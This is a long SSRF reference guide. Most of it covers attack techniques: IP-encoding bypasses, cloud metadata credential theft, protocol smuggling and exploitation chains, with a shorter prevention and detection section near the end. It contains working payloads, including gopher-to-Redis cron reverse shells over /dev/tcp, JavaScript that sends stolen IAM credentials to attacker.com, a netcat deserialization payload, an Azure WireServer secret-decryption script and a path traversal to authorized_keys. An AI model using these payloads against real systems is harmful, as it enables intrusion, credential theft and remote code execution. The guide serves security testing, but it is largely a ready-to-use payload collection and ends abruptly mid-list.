Comprehensive SSRF Guide

A practitioner’s reference for Server-Side Request Forgery — attack surface, exploitation techniques, bypass methods, real-world chains, and detection/prevention. Compiled from 299 research sources.


Table of Contents

  1. Fundamentals
  2. Attack Surface & Entry Points
  3. IP Address Bypass Techniques
  4. URL Parsing & Protocol Tricks
  5. Cloud Metadata Exploitation
  6. Blind SSRF Techniques
  7. Protocol Smuggling
  8. Framework-Specific SSRF
  9. PDF Generator SSRF
  10. Real-World Exploitation Chains
  11. Tools & Automation
  12. MCP / AI Agent SSRF
  13. IPv6 & DNS Rebinding Bypass Patterns
  14. Detection & Prevention
  15. Payload Quick Reference

1. Fundamentals

SSRF occurs when an attacker can make a server-side application send HTTP requests to an attacker-chosen destination. The server acts as a proxy, often with elevated network access (internal services, cloud metadata, localhost) and implicit trust (firewall bypass, authentication context).

Three classes:

ClassDescriptionExample
Full-ResponseAttacker sees the complete HTTP responsepictureproxy.php?url=
BlindNo direct response — requires OOB exfiltrationWebhook URL callbacks
Error-BasedInformation leaks via error messages or timingKubernetes webhook errors

Impact spectrum: Port scanning → Internal service enumeration → File read → Credential theft → Remote code execution → Full cloud account takeover.


2. Attack Surface & Entry Points

Common injection points

CategoryExamples
URL parameters?url=, ?path=, ?src=, ?dest=, ?redirect=, ?uri=, ?domain=
WebhooksGitHub/GitLab/Slack/custom webhook URL configuration
File imports“Import from URL”, RSS feed URLs, avatar/image URLs
PDF/report generationHTML-to-PDF, certificate generators, invoice renderers
API integrationsOAuth callback URLs, SAML endpoints, OpenID configuration
Email featuresList-Unsubscribe headers, email template image loading
Document processorsPandoc, LibreOffice, image processing pipelines
AI/ML servicesCustom GPT actions, MCP servers, model serving endpoints
Proxy/fetch endpointsImage proxies, link preview generators, URL shorteners

Sink functions (code-level)

PHP:       file_get_contents(), curl_exec(), fopen(), readfile()
Python:    requests.get(), urllib.urlopen(), httplib.request()
Node.js:   fetch(), http.request(), axios.get()
Java:      URL.openConnection(), HttpClient.send()
Ruby:      Net::HTTP.get(), open-uri, Faraday.get()
C#:        HttpClient.GetAsync(), WebRequest.Create()

3. IP Address Bypass Techniques

When applications blacklist 127.0.0.1 or 169.254.169.254, use alternative representations.

Localhost (127.0.0.1)

EncodingValue
Shorthandhttp://127.1/
Zerohttp://0/
Decimalhttp://2130706433/
Octalhttp://0177.0.0.1/
Hexhttp://0x7f000001/
IPv6http://[::1]/
IPv6 mappedhttp://[::ffff:127.0.0.1]/
IPv6 expandedhttp://[0:0:0:0:0:ffff:7f00:0001]/
CIDRhttp://127.0.0.0/8

Cloud metadata (169.254.169.254)

EncodingValue
Decimalhttp://2852039166/
Octalhttp://0251.0376.0251.0376/
Hexhttp://0xA9FEA9FE/
Partial octalhttp://0251.254.169.254/
IPv6 mappedhttp://[::ffff:a9fe:a9fe]/
IPv6 expandedhttp://[0:0:0:0:0:ffff:a9fe:a9fe]/

Advanced encoding

TechniqueExample
Enclosed alphanumerics⑯⑨。②⑤④。⑯⑨。②⑤④
Unicode digit variants๐๑๒๓ (Thai digits)
Mixed encodingSingle octet in octal, rest decimal
URL encodinghttp://%31%32%37%2e%30%2e%30%2e%31/

DNS-based bypasses

ServicePurpose
localtest.meResolves to 127.0.0.1
nip.io169.254.169.254.nip.io → 169.254.169.254
1u.msDNS rebinding service
Custom DNSA record pointing to internal IP

DNS rebinding attack flow

  1. Register domain evil.com with very short TTL
  2. First DNS resolution: evil.com → attacker IP (passes validation)
  3. TTL expires, second resolution: evil.com169.254.169.254
  4. Server’s HTTP client follows the rebind to internal target

4. URL Parsing & Protocol Tricks

Parser differential exploits

Different URL parsers disagree on what constitutes the “host”:

http://127.88.23.245:22/+&@google.com:80#+@google.com:80/
│                         │
└─ actual request target  └─ validator sees "google.com"

The @ symbol creates a userinfo component — validators may check the domain after @, but the HTTP client connects to the IP before it.

Redirect-based SSRF

When direct SSRF is blocked but the client follows redirects:

# Attacker's redirect server
@app.route('/redirect')
def redirect():
    return redirect('http://169.254.169.254/latest/meta-data/')

Protocol switching: Some clients strip security settings on redirect. CVE-2023-28155 (Node.js request library) deletes the HTTP agent on HTTPS→HTTP protocol change, bypassing proxy/SSRF controls.

Useful schemes beyond HTTP

SchemeUse Case
file:///etc/passwdLocal file read
gopher://Arbitrary TCP data (Redis, Memcached, SMTP)
dict://Dictionary service protocol for port scanning
sftp://evil.com/Exfiltrate data via SFTP handshake
tftp://evil.com/fileUDP-based exfiltration
ldap://evil.com/LDAP query to attacker server
netdoc:///etc/passwdJava-specific file read
jar://Java archive URL handler

CRLF injection in URLs

Inject raw HTTP protocol data via %0d%0a:

http://127.0.0.1:6379/%0D%0ASET%20pwned%20true%0D%0A

This sends to Redis:

GET /<CRLF>
SET pwned true<CRLF>
HTTP/1.1
Host: 127.0.0.1:6379

5. Cloud Metadata Exploitation

AWS IMDSv1

# Instance identity
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/public-ipv4

# IAM credentials (the prize)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/{ROLE_NAME}

# User data (may contain secrets/bootstrap scripts)
http://169.254.169.254/latest/user-data/

IMDSv2 requires a token obtained via PUT request with X-aws-ec2-metadata-token-ttl-seconds header. Most SSRF only allows GET, making IMDSv2 a strong mitigation — unless the SSRF can send PUT requests.

ECS variant (containers):

http://169.254.170.2/v2/credentials/{GUID}

Using stolen credentials:

export AWS_ACCESS_KEY_ID=AKIAXXXXXXXXXXXXXXXX
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/...
export AWS_SESSION_TOKEN=AQoDYXdzEJr...
aws sts get-caller-identity
aws s3 ls
aws ec2 describe-instances

Azure IMDS

Standard endpoint (requires Metadata: true header):

GET /metadata/instance?api-version=2021-02-01 HTTP/1.1
Host: 169.254.169.254
Metadata: true

Managed identity token extraction:

GET /metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ HTTP/1.1
Host: 169.254.169.254
Metadata: true

No-header endpoint (higher SSRF risk — no Metadata header required):

GET /metadata/v1/instanceinfo HTTP/1.1
Host: 169.254.169.254

WireServer (168.63.129.16) — no headers required:

GET /?comp=versions HTTP/1.1
Host: 168.63.129.16

HostGAPlugin (168.63.129.16:32526):

GET /vmSettings HTTP/1.1
Host: 168.63.129.16:32526

Returns full VM configuration, extension settings, and SAS URLs for storage accounts.

Decrypting Azure protected settings:

# Generate cert
openssl req -x509 -nodes -subj "/CN=LinuxTransport" -days 730 \
  -newkey rsa:2048 -keyout temp.key -outform DER -out temp.crt

# Get goalstate
CERT_URL=$(curl 'http://168.63.129.16/machine/?comp=goalstate' \
  -H 'x-ms-version: 2015-04-05' -s | \
  grep -oP '(?<=Certificates>).+(?=</Certificates>)' | recode html..ascii)

# Get encrypted envelope with our cert
curl $CERT_URL -H 'x-ms-version: 2015-04-05' \
  -H "x-ms-guest-agent-public-x509-cert: $(base64 -w0 ./temp.crt)" -s | \
  grep -Poz '(?<=<Data>)(.*\n)*.*(?=</Data>)' | base64 -di > payload.p7m

# Decrypt
openssl cms -decrypt -inform DER -in payload.p7m -inkey ./temp.key -out payload.pfx
openssl pkcs12 -nodes -in payload.pfx -password pass: -out wireserver.key

CRLF bypass for Metadata header:

GET /metadata/v1/instanceinfo HTTP/1.1
Metadata: %0d%0aTrue

GCP Metadata

# Legacy endpoint (no header required — high SSRF value)
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

# Current endpoint (requires Metadata-Flavor: Google header)
http://metadata.google.internal/computeMetadata/v1/?recursive=true

# Service account tokens
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Metadata endpoint summary

ProviderIP/HostHeader RequiredKey Path
AWS IMDSv1169.254.169.254None/latest/meta-data/iam/security-credentials/
AWS IMDSv2169.254.169.254Token via PUTSame as v1
Azure IMDS169.254.169.254Metadata: true/metadata/identity/oauth2/token?...
Azure WireServer168.63.129.16None/?comp=goalstate
GCP (legacy)metadata.google.internalNone/computeMetadata/v1beta1/?recursive=true
GCP (current)metadata.google.internalMetadata-Flavor: Google/computeMetadata/v1/
DigitalOcean169.254.169.254None/metadata/v1.json
Alibaba100.100.100.200None/latest/meta-data/

6. Blind SSRF Techniques

When you can trigger server-side requests but can’t see the response.

Detection methods

MethodHow It Works
OOB HTTP callbackPoint SSRF at Burp Collaborator / interactsh / webhook.site
OOB DNSUse unique subdomain per test: test123.attacker.com
TimingCompare response times — open port vs closed port vs filtered
Error differentialsDifferent error messages for different response codes
Response lengthBody size changes based on target response

Upgrading blind to full-read

Open redirect chain:

  1. Find open redirect on a whitelisted domain
  2. SSRF → whitelisted domain redirect → internal target
  3. If redirect is followed, response may leak

NextJS blind-to-full-read (CVE-2024-34351):

  1. Server Action redirects to relative path
  2. Attacker sets Host: attacker.tld
  3. NextJS fetches http://attacker.tld/404.html
  4. Attacker returns HEAD with Content-Type: text/x-component
  5. GET request: attacker redirects to http://127.0.0.1:8000/.env
  6. NextJS follows redirect, returns full response
# Attacker's Flask server
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch(path):
    if request.method == 'HEAD':
        resp = Response("")
        resp.headers['Content-Type'] = 'text/x-component'
        return resp
    return redirect('http://127.0.0.1:8000/.env')

Exfiltration chains (Assetnote glossary)

  • Redis: Blind command execution via gopher, exfiltrate via SLAVEOF to attacker
  • Memcached: Cache poisoning to inject payloads into application responses
  • SMTP: Send email containing internal data
  • DNS exfiltration: Encode data in DNS queries: data.attacker.com

7. Protocol Smuggling

Gopher → Redis RCE

Gopher sends raw TCP data. Exploit internal Redis to write a cron job:

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker/4444 0>&1%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

HTTP → Memcached via CRLF

Inject Memcached protocol via CRLF in HTTP request:

http://127.0.0.1:11211/%0D%0Aset%20key%200%2060%205%0D%0Avalue%0D%0A

Memcached sees:

set key 0 60 5
value

Linkerd service mesh header injection

Override routing in Linkerd-managed environments:

l5d-dtab: /svc/* => /$/inet/169.254.169.254/80

Any request through Linkerd mesh gets routed to the cloud metadata service.


8. Framework-Specific SSRF

NextJS (CVE-2024-34351)

Vector 1: Image optimization

/_next/image?url=http://internal-service/&w=256&q=75

Exploitable when next.config.js has permissive remotePatterns:

images: { remotePatterns: [{ hostname: "**" }] }

Vector 2: Server Actions + Host header

POST /search HTTP/1.1
Host: attacker.tld
Content-Type: multipart/form-data
Next-Action: 15531bfa07ff11369239544516d26edbc537ff9c

{}

Astro (CVE-2026-25545)

Same Host header injection pattern as NextJS:

GET /not-found HTTP/1.1
Host: attacker.tld

Server fetches http://attacker.tld/404.html, attacker redirects to internal resource.

Angular SSR

Server-side rendering fetches resources based on client-controlled URLs, enabling internal network access during SSR hydration.

Pandoc (CVE-2025-51591)

HTML-to-PDF conversion renders iframes:

<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe>

ClickHouse

Unauthenticated query access with URL table function:

SELECT * FROM url('http://169.254.169.254/latest/meta-data/', 'TSV', 'data String')

Kubernetes Admission Webhooks

Attacker creates a ValidatingWebhookConfiguration pointing to internal services:

webhooks:
- name: ssrf.attacker.com
  clientConfig:
    url: "http://127.0.0.1:1337/target"
  rules:
  - operations: ["CREATE"]
    resources: ["pods"]
  failurePolicy: Fail

Trigger by creating a pod — the API server sends a request to the webhook URL. Error messages reveal port status (open/closed/filtered).

Axios redirect header leak (CVE-2025-27152)

Affected: axios <0.30.0 and 1.0.0 ≤ v < 1.8.2

Axios follows redirects by default and forwards the original Authorization header to the redirect target — including cross-origin redirects.

Attack flow:

  1. Victim app calls axios.get("https://attacker.com/data", { headers: { Authorization: "Bearer ..." }})
  2. Attacker server responds with 302 → http://169.254.169.254/latest/meta-data/
  3. Axios re-sends the request with the bearer token attached
  4. Attacker captures the token from their logs (or pivots via the metadata response)

Real-world vulnerable packages: Nightscout 15.0.6 (axios 0.21.4), Uptime Kuma 2.2.1 (axios 0.30.3).

curl_cffi unrestricted redirects (CVE-2026-33752)

Affected: curl_cffi <0.15.0

No internal IP range restrictions + automatic redirect following + TLS browser impersonation. Attacker-controlled URL redirects to metadata endpoint; curl_cffi follows blindly and the impersonation feature disguises the request as legitimate browser traffic, bypassing some egress detection.

Spring Cloud Config profile substitution (CVE-2026-22739)

Affected: Spring Cloud Config 3.1.x–5.0.x (patched 4.3.2 OSS / 5.0.2 OSS)

The profile query parameter is substituted into both local file paths (native FS backend) and SCM repository URLs. Dual impact — directory traversal on FS backend, SSRF on SCM backend (attacker-controlled git URL).

Azure OpenAI privilege escalation (CVE-2025-53767)

Insufficient validation of user-supplied input used in server-side request construction allows requests to Azure Instance Metadata Service endpoints, exposing managed identity tokens for privilege escalation inside the Azure OpenAI environment.

Microsoft Purview SSRF (CVE-2026-26138)

SSRF in Microsoft Purview allows privilege elevation within the Purview control plane via metadata service access.

GitLab Git Repository Import (CVE-2025-12073)

Affected: GitLab CE/EE <18.6.6, <18.7.4, <18.8.4

Authenticated SSRF via the Git repository import URL validator. Bypass uses malformed IPv6 encoding like http://[:::::ffff:127.0.0.1]/ which evades the blacklist but resolves correctly at the HTTP client layer.

GitLab webhook custom headers (CVE-2025-6454)

Custom webhook headers allowed CRLF injection to inject arbitrary HTTP headers and smuggle requests to internal services.

Plunk SNS webhook handler (CVE-2026-32096)

SNS webhook endpoint blindly fetches the SubscribeURL field from the incoming SNS message without validating it’s a legitimate AWS SNS confirmation URL — attacker posts a fake SNS payload with SubscribeURL pointing to an internal target.

Docker Model Runner OCI Registry (CVE-2026-33990)

SSRF in the OCI registry client used by Docker Model Runner — registry URL validation is insufficient, allowing attacker-controlled model pulls to hit internal registries/metadata.

Dgraph, Soft Serve, ChurchCRM, Directus, Craft CMS

Multiple other products with SSRF in import/fetch features — all share the same root cause of trusting user-provided URLs after superficial validation. See the CVE reference table at the end.


9. PDF Generator SSRF

PDF generators (wkhtmltopdf, Puppeteer, WeasyPrint, Prince) render HTML including external resources, making them SSRF vectors.

Finding entry points

Look for: certificate generation, report export, invoice rendering, digital signature features, “Save as PDF”, “Print” endpoints.

Injection contexts

Between tags:

<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe>

In attributes (with quotes):

<img src=""/><iframe src="http://169.254.169.254/latest/meta-data/"></iframe>">

In attributes (with apostrophes):

<img src=''/><iframe src='http://169.254.169.254/latest/meta-data/'></iframe>'>

Data URL fields (digital signatures):

Replace data:image/png;base64,... with http://169.254.169.254/...

JavaScript execution in PDF context

<script>
fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/')
  .then(r => r.text())
  .then(d => {
    // Exfiltrate via image request
    new Image().src = 'https://attacker.com/?data=' + btoa(d);
  });
</script>

Timing trick

Some generators take time to render. Use 100+ iframes to delay PDF generation long enough for JavaScript to execute and exfiltrate:

<!-- Delay rendering -->
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
<!-- repeat 99 more times -->

<!-- Exfiltration after delay -->
<script>
setTimeout(() => {
  new Image().src = 'https://attacker.com/exfil?data=' + document.body.innerText;
}, 5000);
</script>

Multi-target scanner payload

#!/bin/bash
TARGETS="169.254.169.254 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1"
for target in $TARGETS; do
  echo "<iframe src='http://$target/' width='1000' height='100'></iframe>"
done

10. Real-World Exploitation Chains

GitHub Enterprise: SSRF → Protocol Smuggling → RCE

Chain: 4 vulnerabilities combined

  1. SSRF in webhookshttp://0/ bypasses faraday-restrict-ip-addresses blacklist (rare IP format for localhost)
  2. SSRF in Graphite — internal service on port 8000 has unvalidated url parameter:
    http://0:8000/composer/send_email?to=orange@nogg&url=http://127.0.0.1:11211/
    
  3. CRLF injection — Python httplib allows %0D%0A in URL path, injecting raw protocol:
    http://0:8000/composer/send_email?to=x&url=http://127.0.0.1:11211/%0D%0Aset%20key%200%2060%20[PAYLOAD_LEN]%0D%0A[MARSHAL_PAYLOAD]%0D%0A
    
  4. Marshal deserialization RCE — Memcached stores Ruby Marshal objects; application deserializes on cache read:
    marshal = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(
      ERB.new("`id | nc attacker.tw 12345`"), :result
    )
    

Impact: Remote code execution on any GitHub Enterprise instance.

Google Production Network: SSRF into Borg

  1. Google Caja server-side JavaScript processor fetches external script tags
  2. Create Google App Engine instance to observe source IP
  3. Discover Caja runs in Google’s internal 10.x.x.x network
  4. Point script tag at internal Borglet status monitors
  5. Exfiltrate: job configurations, hardware specs, service credentials, cluster topology

Impact: Direct access to Google’s production cluster management infrastructure.

AWS Account Takeover via Eval Injection

  1. Custom macro language (Banan++) uses eval() for expression parsing
  2. Inject JavaScript fetch() via the Union function:
    {"operation":"Union('1';'2;fetch(\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\").then(res=>res.text()).then(r=>fetch(\"https://attacker.com/?r=\"+r));';'3')"}
    
  3. First request: enumerate IAM role name
  4. Second request: extract full credentials (AccessKeyId, SecretAccessKey, Token)
  5. Use credentials: access 20 S3 buckets, 80 EC2 instances

Impact: Full AWS account compromise.

ChatGPT SSRF (CVE-2024-27564) — Mass Exploitation

// pictureproxy.php — no validation
$content = file_get_contents($_GET['url']);
  • 10,000+ attacking IPs observed in the wild
  • 35% of US government targets unprotected due to WAF misconfiguration
  • Used for internal network scanning, credential theft, and lateral movement

Email List-Unsubscribe → Internal SSRF

  1. Send DKIM-signed email with malicious List-Unsubscribe header:
    List-Unsubscribe: <http://169.254.169.254/latest/meta-data/>
    List-Unsubscribe-Post: List-Unsubscribe=One-Click
    
  2. User or mail client clicks “Unsubscribe”
  3. Mail server sends server-side request to metadata endpoint
  4. Blind SSRF from mail infrastructure

11. Tools & Automation

SSRFmap

Automated SSRF exploitation framework with 20+ modules:

# Install
git clone https://github.com/swisskyrepo/SSRFmap
pip3 install -r requirements.txt

# Basic usage — provide a Burp-format request file
python ssrfmap.py -r request.txt -p url -m readfiles
python ssrfmap.py -r request.txt -p url -m aws
python ssrfmap.py -r request.txt -p url -m portscan

# Redis RCE with reverse shell listener
python ssrfmap.py -r request.txt -p url -m redis --lhost=attacker --lport=4242 -l 4242

# WAF bypass with encoding escalation
python ssrfmap.py -r request.txt -p url -m portscan --level 5

Modules: readfiles, portscan, networkscan, aws, gce, digitalocean, alibaba, redis, fastcgi, mysql, postgres, docker, smtp, memcache, tomcat, socksproxy, smbhash, custom

Burp Suite

  • Collaborator — OOB detection for blind SSRF
  • Intruder — Fuzz URL parameters with IP encoding lists
  • SSRF-specific extensions for automated cloud metadata detection

DNS rebinding tools

  • 1u.ms — DNS rebinding as a service
  • rbndr.us — Configurable rebinding
  • Twisted-based frameworks — Custom DNS rebinding servers

Manual testing tools

# Generate all IP encodings
python3 -c "import ipaddress; ip = int(ipaddress.ip_address('169.254.169.254')); print(f'Decimal: {ip}'); print(f'Hex: 0x{ip:08X}'); print(f'Octal: {\".\".join(oct(int(o))[2:] for o in \"169.254.169.254\".split(\".\"))}')"

# Quick OOB test with interactsh
interactsh-client

# Gopher payload generator
gopherus --exploit redis

12. MCP / AI Agent SSRF

Model Context Protocol (MCP) servers expose AI agent tools over HTTP/JSON-RPC. Many production MCP servers trust user-provided URLs, headers, and parameters — creating a fresh attack surface with cloud-admin blast radius. 30+ SSRF CVEs appeared in MCP servers in a 60-day window during early 2026.

Atlassian MCP unauthenticated RCE (CVE-2026-27825 + CVE-2026-27826)

Affected: mcp-atlassian PyPI package <0.17.0

Chain: Header-injection SSRF + path traversal write → RCE on MCP host

Component 1 — Header SSRF (CVE-2026-27826): Custom headers (X-Atlassian-Confluence-Url, X-Atlassian-Jira-Url) bypass auth when the standard Authorization header is missing. The dependency injection layer extracts the URL and immediately issues an outbound connectivity check via get_current_user_account_id() — no validation first.

POST /v1/tools/call HTTP/1.1
Host: mcp-internal.company.local
X-Atlassian-Confluence-Url: http://169.254.169.254/latest/meta-data/iam/security-credentials/
Content-Type: application/json

{"name": "get_current_user", "arguments": {}}

Component 2 — Path Traversal Write (CVE-2026-27825): The confluence_download_attachment tool takes an unvalidated download_path parameter and writes the fetched attachment content there. No ../ filtering.

{
  "name": "confluence_download_attachment",
  "arguments": {
    "attachment_id": "malicious_payload_id",
    "download_path": "../../../../../../home/mcpuser/.ssh/authorized_keys"
  }
}

Full chain:

  1. Attacker hosts a fake Confluence instance returning SSH key content as the “attachment”
  2. Set X-Atlassian-Confluence-Url: https://attacker.com (SSRF to attacker)
  3. Call confluence_download_attachment with download_path pointing at ~/.ssh/authorized_keys or /etc/cron.d/malicious-job
  4. RCE on the MCP host within 1 minute (cron) or next SSH login

FastMCP OpenAPI provider SSRF + path traversal (CVE-2026-32871)

Affected: fastmcp PyPI <3.2.0

Root cause: _build_url() in fastmcp/utilities/openapi/director.py does raw string substitution of path parameters into URL templates without URL encoding. urllib.parse.urljoin() then interprets ../ sequences as traversal.

def _build_url(self, path_template, path_params, base_url):
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))  # NO ENCODING
    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Exploit:

  • Template: /api/v1/users/{id}/profile
  • Payload: id="../../../admin/delete-all?"
  • Resolved URL: http://backend:8080/admin/delete-all?

Authentication context is inherited from the MCP provider — attackers ride the provider’s privileged auth headers into private backend endpoints.

MCP SSRF hunting checklist

CheckWhat to look for
Header injectionCustom headers like X-*-Url, X-Target-Host, X-Backend-*
URL parametersTool inputs named url, endpoint, webhook, callback, path
OpenAPI path templates{param} substitution without URL encoding
OCI/registry fetchesModel pulls, container image references
$ref dereferencingJSON schema $ref with external URLs (CVE-2026-39885 pattern)
File upload callbacksImage/avatar URL fetches
Auth fallback bypassMissing Authorization → custom header path
CVEPackageIssue
CVE-2026-27825/26mcp-atlassianHeader SSRF + path traversal → RCE
CVE-2026-32871fastmcpOpenAPI path param injection
CVE-2026-39885mcp-from-openapi$ref dereferencing SSRF
CVE-2026-34936praisonSSRF via URL input
CVE-2026-34981whisperSSRF via audio fetch URL
CVE-2026-35037Ech0Unauthenticated SSRF in GetWebsiteTitle

13. IPv6 & DNS Rebinding Bypass Patterns

Most “SSRF protection” breaks on DNS rebinding and IPv6 edge cases. These are the patterns worth knowing.

TOCTOU validator pattern (the canonical bug)

# VULNERABLE
def is_private_url(url):
    hostname = urlparse(url).hostname
    ip = socket.gethostbyname(hostname)       # Resolution #1 (validation)
    return ipaddress.ip_address(ip).is_private

if not is_private_url(url):
    requests.get(url)                         # Resolution #2 (actual request)

Between resolution #1 and resolution #2, DNS can return a different IP. Validator sees public IP; HTTP client connects to private IP.

Exploited by: MindsDB <v23.12.4.2, Craft CMS (CVE-2026-27127), many others.

DNS rebinding services

ServiceUsage
1u.msmake-190.119.176.214-rebind-127.0.0.1-rr.1u.ms — alternates between IPs per query
rbndr.usDual-record rebinding with configurable IPs
CustomLow-TTL authoritative DNS server you control

Example payload: http://make-{public-ip}-rebind-127.0.0.1-rr.1u.ms:8667/

  • Query 1 → public IP (passes validator)
  • Query 2 → 127.0.0.1 (actual fetch)

IPv6 bypass variants

IPv4-mapped IPv6 (CVE-2026-35409 Directus):

http://[::ffff:127.0.0.1]/
http://[::ffff:169.254.169.254]/

Validator checks ip.is_private on string parsing but HTTP clients accept the IPv4-mapped form.

IPv6-only AAAA records (CVE-2026-27129 Craft CMS): The validator uses gethostbyname() (IPv4 only). For an IPv6-only hostname it returns the string hostname itself — which isn’t in the IPv4 blocklist, so it passes. The HTTP client then resolves AAAA and connects to the real IPv6 target.

Malformed IPv6 encodings (CVE-2025-12073 GitLab):

http://[:::::ffff:127.0.0.1]/
http://[0:0:0:0:0:0:0:1]:80/

Extra colons, mixed compression forms — some URL parsers normalize these, others reject, and validators and HTTP clients disagree on which is which.

Validator-level bypasses

nossrf npm package (all versions ≤1.0.3):

// Validator checks for DNS.Comment field but never checks resolved IP
const asyncResolveHostnameGoogle = async (hostname) => {
    const responseV4 = await axios.get(`https://dns.google/resolve?name=${hostname}&type=A`);
    if (responses[0].Comment) return true;    // Bug: only checks presence of Comment
    if (!responses[0].Comment) return false;
};

localtest.me resolves to 127.0.0.1 and the DoH response includes a Comment field — validation passes.

Custom-domain bypass (simplest): Register internal.yourevildomain.com with an A record pointing at 169.254.169.254. Any denylist checking string 169.254.169.254 is defeated; the HTTP client resolves it at request time.

Parameter enumeration campaign (March 2025, EC2 IMDS)

Observed in-the-wild mass scan — six parameter names, four metadata subpath variants:

?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?dest=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?file=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?redirect=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?uri=http://169.254.169.254/latest/meta-data/iam/security-credentials/

Attack infrastructure: ASN 34534 (FBW NETWORKS SAS). Telemetry signature: OpenSSH_9.2p1 Debian, port 10250 (Kubernetes), TLS SAN DNS:cold01 / DNS:cold07. Mitigation remains the same: enforce IMDSv2.

PDF SSRF → LFI (CVE-2024-34112 and beyond)

Affected: Adobe ColdFusion <cfdocument> tag (<2023 Update 8, <2021 Update 14)

Pre-patch direct LFI:

<cfdocument format="pdf">
  <iframe src="file:///etc/passwd">
</cfdocument>

Post-patch bypass via meta-refresh (CVE-2024-34112): Adobe blocked file:// in the initial patch but not in meta-refresh targets from external HTML.

  1. Attacker hosts meta.html:
    <meta http-equiv="refresh" content="0; file:///etc/hosts">
    
  2. Inject into PDF:
    <iframe src="https://attacker/meta.html" width=1000>
    
  3. PDF renderer follows the iframe → fetches meta.html → honors meta-refresh → reads file:///etc/hosts → contents render in the PDF

The general pattern — “indirect protocol switching via intermediary HTML” — applies to any HTML-to-PDF renderer that fetches external resources.


14. Detection & Prevention

Prevention (defense-in-depth)

LayerControl
NetworkFirewall rules blocking outbound to 169.254.169.254 from application tier
CloudEnforce IMDSv2 (AWS), require Metadata headers (Azure/GCP)
ApplicationAllowlist of permitted domains/IPs; deny internal ranges
URL validationParse URL → resolve DNS → check IP against blocklist → make request (in that order, atomically)
DNS rebindingResolve DNS once, pin the IP, validate, then connect to that IP
HTTP clientDisable redirect following or re-validate on each redirect hop
ProtocolRestrict to http:// and https:// only — block gopher://, file://, dict://

URL validation pitfalls

Wrong (bypassable):

# Regex-based — fails on encoding tricks
if '127.0.0.1' in url or 'localhost' in url:
    return False

Right:

import ipaddress, socket
from urllib.parse import urlparse

def is_safe_url(url):
    parsed = urlparse(url)
    if parsed.scheme not in ('http', 'https'):
        return False
    try:
        ip = socket.getaddrinfo(parsed.hostname, None)[0][4][0]
        addr = ipaddress.ip_address(ip)
        if addr.is_private or addr.is_loopback or addr.is_link_local:
            return False
    except (socket.gaierror, ValueError):
        return False
    return True

Still vulnerable to DNS rebinding — must pin the resolved IP and connect to it directly rather than re-resolving.

Static analysis (CodeQL / Semgrep)

Track taint from user input to HTTP request sinks:

Source: request.GET['url'], request.body.url, req.query.url
Sanitizer: URL validation with IP resolution check
Sink: requests.get(), fetch(), file_get_contents(), HttpClient.send()

Runtime detection signals

SignalIndicates
Application process accessing 169.254.169.254IMDS abuse — baseline which processes should access metadata
Rapid sequential metadata queriesCredential enumeration in progress
Outbound requests to RFC 1918 ranges from web tierInternal network scanning
Unusual User-Agent hitting internal servicesSSRF proxying through application
DNS queries for metadata.google.internal from non-GCP hostsMisconfiguration or SSRF

15. Payload Quick Reference

One-liner test payloads

# Basic connectivity test
http://BURP_COLLABORATOR_URL

# AWS metadata
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Azure metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01  # needs Metadata:true
http://169.254.169.254/metadata/v1/instanceinfo               # NO header needed
http://168.63.129.16/machine/?comp=goalstate                    # WireServer, no header

# GCP metadata
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true  # legacy, no header

# Local file read
file:///etc/passwd
file:///proc/self/environ
file:///home/user/.aws/credentials

# Internal service probing
http://127.0.0.1:6379/        # Redis
http://127.0.0.1:11211/       # Memcached
http://127.0.0.1:9200/        # Elasticsearch
http://127.0.0.1:8500/v1/agent/self  # Consul
http://127.0.0.1:2375/version  # Docker API
https://kubernetes.default.svc/metrics  # K8s API

IP encoding cheat sheet

127.0.0.1 →
  0                    2130706433          0x7f000001
  0177.0.0.1           [::1]              [::ffff:127.0.0.1]
  127.1                0x7f.0.0.1          017700000001

169.254.169.254 →
  2852039166           0xA9FEA9FE          0251.0376.0251.0376
  [::ffff:a9fe:a9fe]   0251.254.169.254    0xa9.0xfe.0xa9.0xfe

Protocol payloads

# Gopher → Redis reverse shell
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1%0a%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

# Dict protocol port probe
dict://127.0.0.1:6379/INFO

# CRLF → Memcached set
